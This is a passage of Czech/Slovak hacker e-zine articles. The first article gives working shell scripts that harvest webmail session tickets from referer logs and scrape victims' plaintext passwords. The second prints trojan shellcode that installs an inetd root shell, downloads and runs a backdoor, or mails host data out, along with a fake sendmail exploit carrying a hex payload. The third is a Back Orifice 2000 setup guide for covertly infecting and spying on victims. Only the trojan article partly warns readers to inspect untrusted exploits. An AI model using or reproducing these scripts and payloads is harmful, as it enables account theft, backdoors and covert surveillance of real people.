    ted si vysvetlime, jak to fungovalo. k overeni platnosti uzivatele se pouzival retezec nejakych znaku uvedeny v URL, takzvany ticket. v praxi se tenhle ticket casto generuje z udaju o klientu pri prihlaseni, treba se vezme adresa, username a cas a cele se to zasifruje md5sumem. kdyz se prihlasite ke svemu uctu, vidite, ze adresa serveru je slozena z vic casti, treba: http://www.post.cz/login.asp?id=45cf33ac1a2a65df. hodnota promenne id je prave ten autentifikacni ticket o ktery nam jde a ktery obsahuje zasifrovane udaje o uzivateli. protoze post a podobne servery nekontrolovaly soucasne pouziti jednoho ticketu z vice adres, staci ziskat obsah ticketu a muzeme se vesele prihlasit jako nekdo jiny.

    jak ovsem ziskat cizi ticket? velice jednoduse: pokud se trochu vyznate v http protokolu, vite urcite, ze adresa predchozi stranky se odesila na server v promenne HTTP_REFERER. webmastri diky tomu vidi odkud prichazeji navstevnici jejich stranek. a proc to trochu nezneuzit? uzivateli, jehoz heslo chcete zjistit, poslete do schranky html kod s obrazkem z vaseho serveru. az se na nej podiva, obrazek se natahne a uzivateluv browser vam na oplatku posle predchozi adresu - prave to http://www.post.cz/neco?id=ticket. ale pozor, je zde jeste jeden zadrhel. cizi ticket, ktery se prave zapsal do vasich logu, se da pouzit jen po omezenou dobu, napriklad 15 minut - po x minutach neaktivity je uzivatel z bezpecnostnich duvodu odhlasen a ticket je neplatny. takze musime pospichat.

    opet nas z problemu vytahne nas genialni unix, kde jdou s pomoci skriptovacich jazyku delat kouzla. napiseme si skript, ktery bude sam hlidat logy a pokud tam najde novy ticket, sam se okamzite prihlasi a tim obejde bezpecnostni lhutu. cele to mame jeste ulehcene naprostou stupiditou systemu zmeny hesla u serveru post.cz a post.sk - ani nepotrebujete znat predchozi heslo, a navic je stare heslo napsano v plaintextu v html kodu stranky s nastavenim. takze nas skript nepotrebuje nic jineho, nez se prihlasit na dane konto, jit na stranku s nastavenim a precist si tam heslo.

    a zde jsou programy na odposlech hesel z post.cz a post.sk, verim, ze pro ostatni derave servery byste je dokazali upravit sami (opakuju, ze to nema cenu, chyby jsou uz opraveny!):

    $ cat gettickets
    #!/bin/sh
    
    if [ ! -f log ]; then
      touch log.old
    else
      mv -f log log.old
    fi
    
    cat /var/log/httpd/access_log \
    | grep "post.cz/mview.asp" \
    | awk -F"?id=" '{print $2}' \
    | awk -F"&" '{print $1}' \
    | awk -F"\"" '{print $1}' \
    > log
    
    for ticket in `diff -u log.old log | grep "^+" | grep -v "+++" |\
    awk -F"+" '{print $2}'`; do
      ./getpassword $ticket | grep -v "unknown" >> post.log
    done
    

    $ cat getpassword
    #!/bin/sh
    
    netcat="/usr/bin/nc"
    timeout=20
    
    if [ ! $1 ]; then
      echo "Pouziti: $0 "
      exit 1
    fi
    
    log=".tmp.${RANDOM}"
    trap "rm -f $log" 0 9 15
    
    (
      echo "GET /uprefs.asp?id=${1} HTTP/1.1"
      echo "Host: www.post.cz"
      echo "Connection: close"
      echo
    ) \
    | $netcat -w $timeout www.post.cz 80 > $log
    
    login=`cat $log | grep -iE ">.*@post.cz<" | awk -F"@" '{print $1}' |\
     awk -F">" '{print $3}'`
    heslo=`cat $log | grep -iE "input.*name=overeni.*value=" |\
     awk -F "VALUE=\"" '{print $2}' | awk -F\" '{print $1}'`
    
    if [ -z "$login" ]; then
      login="unknown"
    fi
    
    if [ -z "$heslo" ]; then
      heslo="unknown"
    fi
    
    echo "$login:$heslo"
    

    program gettickets se dal do crontabu na kazdou minutu. sve obeti jste poslal mail s obrazkem ze sveho serveru. nejpozdeji jednu minutu pote, co si obet mail precetla, jste meli jeji jmeno a heslo v souboru post.log.

    newroot, newroot(at)hysteria.sk

    navrat na obsah
    co ty na to ? board


    trojske kone v exploitoch

    uz v minulosti, i ked sporadicky, sa zacali objavovat v roznych konferenciach zameranych na bezpecnost trojske kone, ktore sa maskuju za exploity napr. na rozne rozsirene sietove daemony ako sshd, apache/httpd a podobne. v poslednej dobe sa s podobnymi zalezitostami akoby roztrhlo vrece. takyto trojsky kon nie je prilis zlozite napisat, i ked tie, ktore sa mi dostali do ruk boli roznej kvality. najdolezitejsie je, aby sa rozsirili medzi co najvacsi pocet nic netusiacich uzivatelov. je v tom aj cosi social engineeringu. dostat podobny trojan do obehu si vyzaduje trochu zrucnosti a hlavne stastia. idealnym sposobom su napriklad posty do konferencii alebo vytvorenie webstranky s "exploitmi". aby si autor zabezpecil, ze obet mo naozaj poskytne idealne prostredie, obvykle byva podmienkou spustat program s pravami administratora. samotny trik spociva v tom, ze shellcode obsahuje seriu prikazov, ktore vytvoria jednoduchy backdoor a daju vediet autorovi a i ked to na prvy pohlad vyzera, ze sa shellcode posiela kamsi na cielovy host, vykona sa na lokalnej masine. zbytok programu plni len maskovaciu ulohu, odvadza pozornost. a kdesi cosi medzi spletou kopirovania bufferov, ktore sa aj tak vobec nevyuziju, testovanim moznosti vytvorenia sietoveho spojenia a ineho balastu okolo, vylezie z utrob nasho dreveneho konika nebezpecne ozbrene vojsko.

    shellcody mozu vyzerat napriklad takto:

    (shellcode_1):

    cp /etc/inetd.conf /tmp/;(cat /etc/inetd.conf;echo "31337 stream tcp nowait 
    root /bin/bash bash -i")>/etc/inetd.conf;killall -HUP inetd;mv /tmp/inetd.conf 
    /etc/;echo "`whoami`@`hostname -i`"| mail on@niekde.tam.sk
    
    (shellcode_2):
    `which lynx` -dump niekde.sk/backdoor.c>/tmp/backdoor.c;gcc -o /tmp/backdoor 
    /tmp/backdoor.c;/tmp/backdoor;rm -f /tmp/backdoor*;echo "`whoami`@`hostname -i"|
    mail on@niekde.tam.sk
    
    pripadne preco si hned neposlat aj /etc/passwd a /etc/shadow? fantazii sa medze nekladu. videl som aj jeden dost stupidny a nie prilis dobre napisany trojan. v jeho shellcode sa nachadzalo toto:

    (shellcode_3):

    echo>>/etc/profile;cc -o httpd httpd.c;rm httpd.c;mv httpd /dev/;/dev/httpd;
    echo /dev/httpd>>/etc/profile;cat /etc/hosts | mail niekto@niekde.cz
    
    pricom httpd.c si generoval pri spusteni trojskeho kona. prilis viditelne a dost neefektivne. rad by som vedel, ako by sa tvaril, keby v /etc/hosts bol zapisany iba localhost ako to byva po default instalacii. :)) velmi nedostacujuce na jednoznacnu identifikaciu hosta. hostname -i je vhodna nahrada.

    aby seria prikazov nebola napadna a zaroven sa podobala typickym shellcodom znamym z roznych exploitov, konvertuje sa do hexadecimalneho tvaru. pri spusteni su znaky interpretovane korektne. tuto konverziu je mozne docielit jednoduchym programom v jazyku c:

    <-- cut konvertor.c ------------------------------------------------------------
    
    #define EOF -1
    
    main()
    {
      char c;
    
      while ((c = getchar())!= EOF)
        printf("\\x%X", c);
    }
    
    <-- cut konvertor.c ------------------------------------------------------------
    
    konveriza prebieha nasledujucim sposobom:
    cat subor_s_prikazmi | ./konvertor > subor_s_hotovym_shellcodom
    
    hotovy shellcode vyzera takto (shellcode_1):
    \x63\x70\x20\x2F\x65\x74\x63\x2F\x69\x6E\x65\x74\x64\x2E\x63\x6F\x6E\x66\x20
    \x2F\x74\x6D\x70\x2F\x3B\x28\x63\x61\x74\x20\x2F\x65\x74\x63\x2F\x69\x6E\x65
    \x74\x64\x2E\x63\x6F\x6E\x66\x3B\x20\x65\x63\x68\x6F\x20\x22\x33\x31\x33\x33
    \x37\x20\x73\x74\x72\x65\x61\x6D\x20\x74\x63\x70\x20\x6E\x6F\x77\x61\x69\x74
    \x20\x72\x6F\x6F\x74\x20\x2F\x62\x69\x6E\x2F\x62\x61\x73\x68\x20\x62\x61\x73
    \x68\x20\x2D\x69\x22\x29\x3E\x2F\x65\x74\x63\x2F\x69\x6E\x65\x74\x64\x2E\x63
    \x6F\x6E\x66\x3B\x6B\x69\x6C\x6C\x61\x6C\x6C\x20\x2D\x48\x55\x50\x20\x69\x6E
    \x65\x74\x64\x3B\x6D\x76\x20\x2F\x74\x6D\x70\x2F\x69\x6E\x65\x74\x64\x2E\x63
    \x6F\x6E\x66\x20\x2F\x65\x74\x63\x2F\x3B\x65\x63\x68\x6F\x20\x22\x60\x77\x68
    \x6F\x61\x6D\x69\x60\x40\x60\x68\x6F\x73\x74\x6E\x61\x6D\x65\x20\x2D\x69\x60
    \x22\x7C\x6D\x61\x69\x6C\x20\x6F\x6E\x40\x6E\x69\x65\x6B\x64\x65\x2E\x74\x61
    \x6D\x2E\x73\x6B
    
    spatna konverzia je este jednoduchsia. hexadecimalny zapis napriklad vlozime ako argument funkcie printf, skompilujeme a spustime. tento postup odporucam pri kazdom novom/neznamom exploite, ktory sa vam dostane do ruk. nikdy nie je na skodu pozriet sa mu blizsie pod kozu.

    priklad trojskeho kona vydavajuceho sa za remote exploit na sendmail:

    <-- cut usb.c ------------------------------------------------------------------
    
    #include 
    #include 
    
    char shellcode[] =
    
    "\x65\x63\x68\x6F\x20\x22\x6A\x61\x20\x73\x6F\x6D\x20\x74\x61\x6B"
    "\x79\x20\x6D\x61\x6C\x79\x20\x6C\x61\x6D\x65\x72\x6B\x6F\x2E\x20"
    "\x76\x6F\x6C\x61\x6D\x20\x73\x61\x20\x60\x77\x68\x6F\x61\x6D\x69"
    "\x60\x20\x61\x20\x76\x6F\x62\x65\x63\x20\x6E\x65\x6B\x6F\x6E\x74"
    "\x72\x6F\x6C\x75\x6A\x65\x6D\x20\x73\x68\x65\x6C\x6C\x63\x6F\x64"
    "\x79\x20\x65\x78\x70\x6C\x6F\x69\x74\x6F\x76\x2E\x20\x73\x70\x75"
    "\x73\x74\x61\x6D\x20\x63\x6F\x20\x6D\x61\x20\x6E\x61\x70\x61\x64"
    "\x6E\x65\x20\x61\x20\x76\x6F\x62\x65\x63\x20\x6E\x65\x72\x6F\x7A"
    "\x75\x6D\x69\x65\x6D\x20\x74\x6F\x6D\x75\x2C\x20\x63\x6F\x20\x72"
    "\x6F\x62\x69\x6D\x2E\x22\x3E\x3E\x20\x2F\x74\x6D\x70\x2F\x4A\x41"
    "\x2D\x53\x4F\x4D\x2D\x4C\x41\x4D\x45\x52\x3B\x20\x63\x61\x74\x20"
    "\x2F\x74\x6D\x70\x2F\x4A\x41\x2D\x53\x4F\x4D\x2D\x4C\x41\x4D\x45"
    "\x52\x7C\x6D\x61\x69\x6C\x20\x72\x6F\x6F\x74";
    
    #define	LSIZE	256
    #define BUFSIZE	2000
     
    int main(int argc, char *argv[])
    {
      int sck;
      char *buf;
      struct hostent *target;
      struct sockaddr_in sin;
      
      if (argc != 2) {
        printf("\nUltimate Sendmail 8.9.3 remote exploit by 31337 hax0r.\n");
        printf("Usage: %s [target host]\n\n", argv[0]);
        exit(1);
      }
      
      buf = (char *) malloc(LSIZE + BUFSIZE + 100);
      memcpy(&buf[LSIZE - strlen(shellcode)], shellcode, strlen(shellcode));
      
      target = gethostbyname(argv[1]);
      if (target == NULL) {
        printf("Error: Host not found: %s\n", argv[1]);
        exit(1);
      }
      
      bzero(&sin, sizeof(sin));  
      bcopy(target->h_addr, (char *)&sin.sin_addr, target->h_length);
      sin.sin_family = AF_INET;
      sin.sin_port = htons(80);
      sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if (sck < 0) {
        printf("Error: Can't open socket.\n");
        exit(1);
      }
       
      if (connect(sck, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
        printf("Error: Connection refused.\n");
      }
      
      printf("Status: Connecting to %s.\n", argv[1]);
      printf("Press any key to send shellcode or ctrl-c to abort.\n");
      
      if (fork() == 0)
      execl("/bin/sh", "sh", "-c", shellcode, 0);while(1);
    }
    
    <-- cut usb.c ------------------------------------------------------------------
    
    zaver: nikdy neverte nicomu a uz vobec nie exploitom stiahnutym kdesi na inete. vsetko dokladne skontrolujte. a hlavne, nikdy netestujte nezname programy ako root.

    salo

    navrat na obsah
    co ty na to ? board


    back orifice 2000 (show some control)

    pred par mesiacmi hackerska skupina vystupujuca na verejnosti pod nazvom cult of dead cow (cdc) prezentovala na svojich internetovskych strankach (8/1998) velmi zaujimavy program nazvany back orifice 2000. prostrednictvom neho chceli programatori tejto skupiny prakticky poukazat na zakladne nedostatky a bezpecnostne diery v operacnych systemoch microsoft windows 9x a vytvorit tak akusi parodiu na programovy balik microsoft back office. aby nebolo mozne obvinit ich z trestnej cinnosti, ktoru predstavovalo vytvorenie a medzinarodne rozsirovanie tohto excelentneho diela, rozhodli sa pri jeho programovani pouzit len dokumentovane procedury systemov windows 9x. cely program bol vytvoreny v programovacom jazyku visual c++ 6.0 (niektore plug-in moduly aj vo verzii 5.0).

    back orifice 2000 (bo2k) - aky je to program? naco sluzi a ake ma prakticke pouzitie? je jeho pouzivanie legalne? ako sa da ovladat a rozsirit o nove moduly? to vsetko su otazky, na ktore by ste mali najst odpovede v nasledujucom texte. v nezanedbatelnej miere sa pokusim zodpovedat aj otazky tykajuce sa implementacie tohto trojskeho kona do operacneho systemu, systemovych registrov a poskytnut informacie o tom ako sa ho mozno zbavit (v pripade, ze je pc infikovane).

    prva verzia tohto programu zhliadla svetlo sveta az v roku 1998 (september). jej moznosti ako aj schopnosti s tou dnesnou verziou (v.2000 - 6/1999) predstavovali len ubohe zaklady. vtedajsi bo bol nemodifikovatelny, t.j. pouzivatel nemal moznost menit jednotlive parametre, ako napriklad porty, kodovanie, protokoly a pod.. v tej dobe sa vacsina pocitacovych firiem rozhodla zaradit tento program aj s jeho doplnkami do zoznamu virusov, presnejsie do zbierky trojskych koni. dovodov bolo dost a preto argumenty, ze sa jedna o najmensi a najkompaktnejsi nastroj pre dialkovu spravu systemu prilis neobstali. ved uvazte sami, ze program s celkovou kapacitou 1,4 mb sa mohol stat velmi silnym konkurentom pre programy spolocnosti symantec (pcanywhere - cca. 32 mb), compaq (carbon copy 32 - cca. 20 mb) alebo artisoft (cosession remote - cca. 8 mb). okrem ineho tu bola este jedna hakliva skutocnost. tento program bol volne dostupny na internete a bol uplne zadarmo. po niekolkych tyzdnoch sa objavil na domovskej stranke skupiny cdc aj jeho kompletny zdrojovy kod a tak sa dala zelena vsetkym schopnym programatorom, ktori si mohli tento produkt upravit podla vlastnej lubovole.

    bo2k je schopny ovladat vzdialeny pocitac prostrednictvom tcp/ip protokolu ako v lan, tak aj wan. sklada sa z dvoch zakladnych casti, ktorymi su: server a ovladacia konzola (plne graficka). server ako taky ma len nepatrnu kapacitu (124 kb, v pripade pridania vsetkych nizsie uvedenych doplnkov sa zvacsi na 485 kb) a prestavuje bezny exe subor, ktory je potrebne implementovat do operacneho systemu pocitaca, ktory bude dialkovo ovladany. implicitnou vyhodou tejto casti bo2k je moznost modifikovat ju a doplnat o rozsirujuce plug-in moduly, ktore zlepsuju jej moznosti a schopnosti. druha cast, t.j. ovladacia konzola (ma kapacitu priblizne 581 kb) umoznuje utocnikovi ovladat vzdialeny pocitac a dodatocne modifikovat serverovu cast. poslednou sucastou, ktora je potrebna pre pociatocnu modifikaciu bo2k servera je tzv. konfiguracny program (s kapacitou necelych 220 kb).

    skor ako sa dostanem k opisaniu nastaveni a parametrov v ramci spomenutych casti bo2k, zhrniem do niekolkych bodov zakladne operacie, ktore je mozne prostrednictvom neho vykonavat so vzdialenym systemom:

  • vyuzivat prikaz ping a query (zosuladenie serverovej a ovladacej casti)
  • restartovat a  zablokovat system
  • zistit systemove hesla
  • ziskat vseobecne informacie o vzdialenom pocitaci a jeho systemovych prostriedkoch
  • zachytavat stlacene klavesy a ukladat ich do externeho suboru na disku
  • zobrazit textovu spravu v dialogovom okne
  • obmedzit pristup len na niektore ip adresy
  • presmerovat udaje zo zvoleneho tcp portu na iny pocitac
  • zistit vsetky pripojene pocitace a zariadenia do lan, v ktorej je lokalizovany vzdialeny pocitac
  • kontrolovat beziace procesy s moznostou ich ukoncenia, pripadne spustenia lubovolnej aplikacie
  • kompletne ovladat a modifikovat systemove registre a v nich ulozene udaje (hodnoty)
  • prehravat na monitore vzdialeneho pocitaca avi, wav, ... subory
  • nechat zobrazit lubovolny obrazok vo formate bmp/jpeg/...
  • vytvarat, odstranovat, premenovavat, premiestnovat, kopirovat a menit atributy suborov a adresarov
  • komprimovat a dekomprimovat vybrane subory
  • vytvorit si tzv. dns na vzdialenom pocitaci
  • restartovat, deaktivovat, modifikovat serverovu cast bo2k na vzdialenom pocitaci
  • zistovat aktivne, pasivne a implementovat nove plug-in moduly.

    rozsirene moznosti vyzaduju implementovanie niektorych plug-in modulov:

  • bo_peep.dll - umoznuje sledovat, co pouzivatel vzdialeneho pocitaca prave vykonava (zobrazovanie casti monitora, tzv. on-line prenos) a ovplyvnovat alebo uplne ovladat klavesnicu a mys
  • bo_red.dll - umoznuje utocnikovi ovladat listu s tlacidlom start v dvoch stavoch (viditelna/skryta)
  • bo_tool.dll - prostrednictvom doplnkoveho grafickeho okna podobneho prieskumnikovi manipulovat s obsahom disku a systemovych registrov (download/upload suborov, odstranovanie, ...)
  • bt2k.dll - umoznuje domodifikovat server tak, aby po svojom aktivovani zaslal utocnikovi emailovu spravu s ip adresou pocitaca, ktory infikoval (je mozne nastavit aj odosielanie spravy pri kazdom starte pocitaca, co ma ale vyznam len vtedy, ak je infikovany pocitac pripojeny do siete prostrednictvom dial-up systemu a jeho ip adresa nemusi byt vzdy rovnaka)
  • enc-serpent.dll - zvysuje kodovanie prenasaneho signalu prostrednictvom pocitacovej siete a zmensuje tak riziko odhalenia bo2k (v lokalnych sietach)
  • io_stcpio.dll - umoznuje prenos udajov tzv. skrytym tcp/ip protokolom, ktory je dostatocne bezpecny aj v dobre chranenych sietach, pricom vyrazne spomaluje prenos a komunikaciu medzi serverom a ovladacou konzolou (vhodne vyuzivat len v lokalnych a rychlych sietach)
  • srv_rattler.dll - zabezpecuje odoslanie elektronickej spravy v pripade, ze dojde k zmene ip adresy vzdialeneho pocitaca (plati to iste ako pri bt2k.dll)

    uvedene plug-in moduly patria k najrozsirenejsim a najpouzivanejsim na slovenskom internete (vsetky pouziva aj moja verzia bo2k server). okrem spominanych plug-in modulov existuje aj niekolko dalsich, ktore maju hlavne uplatnenie pri zvysovani kodovania prenasaneho signalu pocitacovou sietou, napriklad: blowfish, cast-256, bo2des encryption a silk rope 2k, ktory sluzi pre implementaciu serverovej casti bo2k do lubovolnej spustitelnej aplikacie. jeho ovladanie je spracovane pomocou wizardu.

    v blizkej buducnosti by sa mali na internete objavit este dva plug-in moduly s oznaceniami: bopeep plus (rozsirene moznosti vyssie menovaneho modulu) a boscript (vyuzitie script jazyka pre modifikaciu a rozsirene ovladanie serverovej casti). tolko k zakladnej charakteristike back orifice 2000.

    v nasledujucej casti sa blizsie pozrieme na proces konfiguracie a ovladania vzdialeneho pocitaca.

    konfiguracia bo2k

    konfiguraciu servera bo2k mozno oznacit za jednu z najdolezitejsich a najtazsich cinnosti s tymto programom. treba si uvedomit, ze chybna konfiguracia moze mat za nasledok uplne zlyhanie servera v ostrej prevadzke alebo neschopnost niektorych jeho modulov vykonavat pouzivatelom (utocnikom) definovane cinnosti. co treba urobit ako prve? po spusteni konfiguracneho programu (bo2kcfg.exe) sa zobrazi uvodna obrazovka wizardu, ktory umoznuje zjednodusene nakonfigurovanie servera. osobne pokladam tento wizard a modifikaciu prostrednictvom neho za nie najstastnejsie riesenie a preto odporucam zrusit zaskrtnutie v jeho dolnej casti (show this wizard on startup). po stlaceni tlacidla next sa zobrazi hlavne konfiguracne okno umoznujuce maximalnu a detailnu konfiguraciu.

    v prvom rade je potrebne pomocou tlacidla open server inicializovat subor bo2k.exe (serverova cast), do ktoreho sa vysledne nastavenia ulozia. nasledne dojde k zobrazeniu zakladnych prvkov v ramci servera, ako su nastavenia portov, protokolov, kodovania a plug-in modulov. v strednej casti okna sa zobrazi zoznam integrovanych plug-in modulov do servera, pricom pouzivatel ma moznost pridavat dalsie alebo odoberat uz existujuce moduly. v dolnej casti sa nachadzaju najdolezitejsie udaje, prostrednictvom ktorych sa uskutocnuje spresnenie konfiguracie.

    nakolko tento text ma sluzit ako recenzia nebudem popisovat jednotlive nastavenia detailne, ale zameriam sa len na tie najdolezitejsie (v zavere je uvedena emailova adresa, na ktoru mozete posielat svoje otazky ohladne tejto problematiky). pre tuto prilezitost som sa rozhodol pouzit standardnu verziu bo2k (t.j. 1.1), do ktorej som implementoval nasledujuce plug-in moduly: bo2k system tools (bo_tool.dll), bo2k remote console manager (bo_peep.dll), butt trumpet 2000 (bt2k.dll), bored dumb terminal plugin (bored.dll), rattler (srv_rattler.dll), bo2k stealthy tcp io module (io_stcpio.dll) a bo2k serpent strong encryption module (enc_serpent.dll). na verziach jednotlivych modulov v tomto pripade nezalezi, nakolko uz viac ako styri mesiace nebola vydana ziadna ich aktualizacia. nastavenia je potrebne vykonat nasledovnym sposobom:

    option variables:

  • file transfer - umoznuje nastavit podmienky pre prenos suborov medzi serverom a ovladacou konzolou. v tejto casti nie je potrebne menit nic okrem hodnoty v file xfer encryption z hodnoty xor na serpent
  • tcpio - zabezpecuje preddefinovanie komunikacneho portu, ktory by mal byt nastaveny na idealnu hodnotu od 31 333 az do 31339. nevylucujem ani funkcnost ineho nastavenia (napr. 1 az 65535), ale zo skusenosti viem, ze mnou uvedene porty su funkcne vo vacsine lan aj wan pouzivanych na slovensku a vo svete. pre male lokalne siete je mozne vyuzit port 1024
  • udpio - za beznych podmienok nie je potrebne menit prednastavenu hodnotu
  • built-in - utocnik ma moznost nastavit ci sa budu aktivovat polozky: protokoly, kodovanie a autorizacia hned pri starte bo2k
  • xor - v ramci tejto zlozky je nutne nastavit pristupove heslo pre vzajomne nadviazanie spojenia medzi serverom a konzolou. v podstate sa jedna o najzakladnejsi prvok ochrany pre neautorizovanym vstupom a zneuzitim servera. heslo by malo obsahovat znaky a cisla, v co najrozmanitejsej kombinacii (odporucana dlzka je 4 az 8 miest)
  • startup - vyzaduje spravne zadanie predefinovat udaje ako su cislo portu, protokol, kodovanie, autorizacia a doba odozvy servera voci konzole. udaje zadane v tejto casti sa budu prenasat aj do nastavenia samotnej konzoly (tzv. primarne hodnoty)
  • stealth - jedna z najdolezitejsich zloziek vyzadujuca maximalnu pozornost a opatrnost. utocnik moze prostrednictvom nej zadefinovat: v tomto okamihu je zakladne nastavenie servera ukoncene a prichadzaju na rad konfiguracie jednotlivych, resp. implementovanych plug-in modulov.

  • bo_tools - v ramci tohto modulu neodporucam vykonavat ziadne vacsie zmeny. za nutne povazujem len zmenit file xfer enc (xor na serpent) a cmd channel enc (xor na serpent).
  • bo_peep - ako uz bolo vyssie spomenute sluzi na on-line monitorovanie vykonavanej cinnosti na vzdialenom pocitaci a ciastocne alebo uplne ovladnutie klavesnice a mysi. opat neodporucam robit zmeny, ale iba prestavit formu kodovania zo xor na serpent v vidstream a hijack encryption.
  • butt trumpet 2000 - umoznuje nastavit si parametre pre odosielanie elektronickej spravy pri aktivacii bo2k servera. konfiguracia tejto zlozky je vysostne individualnou zalezitostou kazdeho pouzivatela. nutnou podmienkou pre jej vyuzitie je vlastnit sukromnu email schranku na niektorom zahranicnom serveri (neodporucam vyuzivat sluzby domacich serverov nakolko sa da sledovat tok udajov - teda aj emailovych sprav).
  • rattler - zmeny odporucam vykonat iba v polozkach: mail host (napr. mail.hotmail.com), mail from (napr. nobody@nobody.xx) a rcpt to (napr. somebody@hotmail.com). ostatne nastavenia su zadefinovane tak, ze by s nimi nemali byt ziadne vacsie problemy (pokial vyuzivate bo2k server na slovenskom a europskom internete).
  • stcpio - vyzaduje nastavit len system kodovania (napr. serpent) a komunikacny port (napr. 31333).
  • serpent - posledna polozka, ktoru je potrebna nastavit, resp. zadat pristupove heslo pre vzajomne nadviazanie spojenia medzi serverom a konzolou. v podstate sa jedna o najzakladnejsi prvok ochrany pred neautorizovanym vstupom a zneuzitim servera. heslo by malo obsahovat znaky a cisla, v co najrozmanitejsej kombinacii (odporucana dlzka je 4 az 8 miest).

    vsetky hore uvedene zmeny sa aplikuju tak, ze pouzivatel si vyberie v stromovej strukture pozadovanu polozku a v pravej casti zada do spodneho okienka parameter. pre jeho aktivovanie je potrebne stlacit tlacidlo set value. po prejdeni vsetkych poloziek sa konfiguracia ulozi do vopred zvoleneho suboru stlacenim save server. opustenie programu je mozne pomocou tlacidla exit. tym by bola modifikacia servera ukoncena a pokial bola urobena spravne, tak by mal byt bo2k server pripraveny na utok.

    p.s.: pozor!!!

    treba si uvedomit, ze vsetky plug-in moduly, ktore sa integruju do serverovej casti bo2k bude potrebne implementovat aj do ovladacej konzoly. ak by sa tak nestalo, spojenie so serverom by mozno fungovalo ale iba na najnizsej urovni (blizsie informacie o tomto probleme najdete v casti prevadzka bo2k).

    sposob akym prebehne implementacia bo2k do vzdialeneho pocitaca ponecham na jednotlivcovi ako takom. kazdy rozumny utocnik by mal zohladnit skutocnost, ze ludia su este stale prilis dovercivy a malokedy sa stane, aby si skontrolovali pribalene subory k elektronickej poste nejakym antivirusovym systemom.

    zlom vaz !!!

    prevadzka bo2k

    potom ako sa bo2k server usidlil na disku niektorych pouzivatelov moze sa zacat proces ostrej prevadzky. co k tomu potrebujete a ako nato? velmi jednoducho a vystaci vam jedna disketa, na ktorej by mala byt umiestnena ovladacia konzola a dll subory jednotlivych plug-in modulov. najprv je potrebne spustit ovladaciu konzolu prostrednictvom programu bo2kgui.exe a spravne ju nakonfigurovat. treba mat na pamati, ze tak server ako aj konzola musia byt nakonfigurovane zhodne. aj najmensie rozdiely mozu sposobit problemy pri nadvazovani vzajomneho spojenia a preto je potrebne venovat aj tomuto procesu zvysenu pozornost a cas. proces rekonfiguracie je zhodny ako pri servery. v okne nazvanom plugin configuration treba uskutocnit modifikaciu portov, protokolov, kodovania a popripade aj jednotlivych plug-in modulov. ukonci sa stlacenim tlacidla done v pravom dolnom rohu tohto okna.

    nasleduje uz len nastavenie ip adresy vzdialeneho pocitaca a nadviazanie spojenia s nim. v okne edit server settings je mozne zvolit nejaky nazov pre vzdialeny pocitac, ktory sa ulozi do zoznamu (sluzi len pre rychlu orientaciu pri praci s viacerymi vzdialenymi pc). v kolonke server address je nutne zadat ip adresu a nasledne za nou dvojbodku a port, na ktorom je server zapojeny. ak sa nezada port a vzdialene pc by malo v momente aktivacie bo2k vyuzivany iny port nemuselo by dojst k nadviazaniu spojenia.

    po stlaceni tlacidla ok sa otvori posledne a pre ovladanie infikovaneho pc najdolezitejsie okno, v ktorom je potrebne k uskutocneniu spojenia stlacit tlacidlo clik to connect. v pripade, ze sa spojenie nadviaze je mozne zacat aplikovat jednotlive operacie a funkcie. treba ale davat pozor na to, aby sa cinnostou bo2k nevyvolala na ovladanom pc nekorektna operacia alebo restart systemu, lebo inak sa vzajomna signalova vazba strati a je ju potrebne nadviazat znova. bo2k bezi na vzdialenom pc ako skryta aplikacia, ktoru nie je mozne vidiet ani v zozname prebiehajucich uloh, t.j. pravy pouzivatel o tom, ze je pozorovany urcite nevie. existuju ale antivirusove programy, napr. norman virus control, antiviral toolkit pro, ktore su schopne odhalit aj skryty program s akoukolvek prioritou.

    zadavanie prikazov a ich odozvy na vzdialenom pocitaci je mozne sledovat vo vacsine pripadov len prostrednictvom textoveho rezimu (v dolnej casti okna sever command client). nakolko bo2k podporuje velke mnozstvo funkcii rozhodol som sa v tomto texte urobit len ich zoznam (aj s minimalnymi jazykovymi schopnostami by mali byt uvedene pojmy zname). kazda funkcia je detailne popisana a vysvetlena v prirucke, ktoru odporucam v zavere tejto casti.

    server commands:

  • simple:
    - ping
    - query
  • system:
    - reboot machine
    - lock-up machine
    - list passwords
    - get system info
  • key logging:
    - log keystrokes
    - end keystroke log
  • gui:
    - system message box
  • tcp/ip:
    - map port - other ip
    - map port - console app
    - map port - http fileserver
    - map port - tcp file receive
    - list mapped ports
    - remove mapped port
    - tcp file send
  • ms networking:
    - add share
    - remove share
    - list shares
    - list shares on lan
    - map shared device
    - unmap shared device
    - list connections
  • processes:
    - list process
    - kill process
    - start process
  • registry:
    - create key
    - set value
    - delete key
    - delete value
    - enumerate keys
    - enumerate values
  • multimedia:
    - capture video still
    - capture avi
    - play wav file
    - play wav file in loop
    - stop wav file
    - list capture devices
    - capture screen
  • file/directory:
    - list directory
    - find file
    - delete file
    - view file
    - move/rename file
    - copy file
    - make directory
    - remove directory
    - receive file
    - send file
    - list transfers
    - cancel transfer
  • compression:
    - freeze file
    - melt file
  • dns:
    - shutdown server
    - restart server
    - load plugin
    - debug plugin
    - list plugins
    - remove plugin
    - start command socket
    - list command socket
    - stop command socket
  • legacy buttplug
    - start/stop buttplug - list buttplugs

    pre vyuzitie jednotlivych plug-in odporucam prestudovat si k nim prilozene textove subory s popisom ako ich ovladat (obsahuju aj zoznamy najbeznejsich problemov, ktore sa mozu ale nemusia vyskytnut pri ich prevadzkovani). za velmi dobru prirucku povazujem dokumentaciu k samotnemu bo2k, ktora je pristupna na domovskej stranke tohto programu (http://www.bo2k.com).

    skusenosti s bo2k

    bo2k je jeden z najlepsich a najrychlejsich programov pre vzdialenu spravu pocitacov prostrednictvom lan aj wan. pre svoju prevadzku vyzaduje minimalne hardverove naroky (pc 486, 4 mb ram a maximalne 0,5 mb na pevnom disku). je neocenitelnym pomocnikom hlavne pre spravcov sieti, administratorov, pripadne technikov pocitacovych ucebni na skolach (pricom nevylucujem aj ine moznosti pouzitia). umoznuje preniknut do jadra systemu, k jednotlivym suborom, nastaveniam a menit ich bez nutnosti priameho kontaktu so vzdialenym pocitacom. osvedcil sa aj pri prenose suborov (bez problemov je schopny preniest 650 mb v ramci lokalnej siete urcitej organizacie), uprave diskov (reorganizacia adresarov) a pod.. bo2k som osobne odskusal na vsetkych dostupnych verziach operacnych systemov microsoft windows 95 (vratane sr2) a windows 98 (vratane se). nemaly cas som skusal parazitovat aj na niekolkych pocitacoch so systemami windows nt 4.0 workstation a server. vo vsetkych pripadoch sa cinnost bo2k vyznacovala rychlymi reakciami a odozvami, vykonavanim 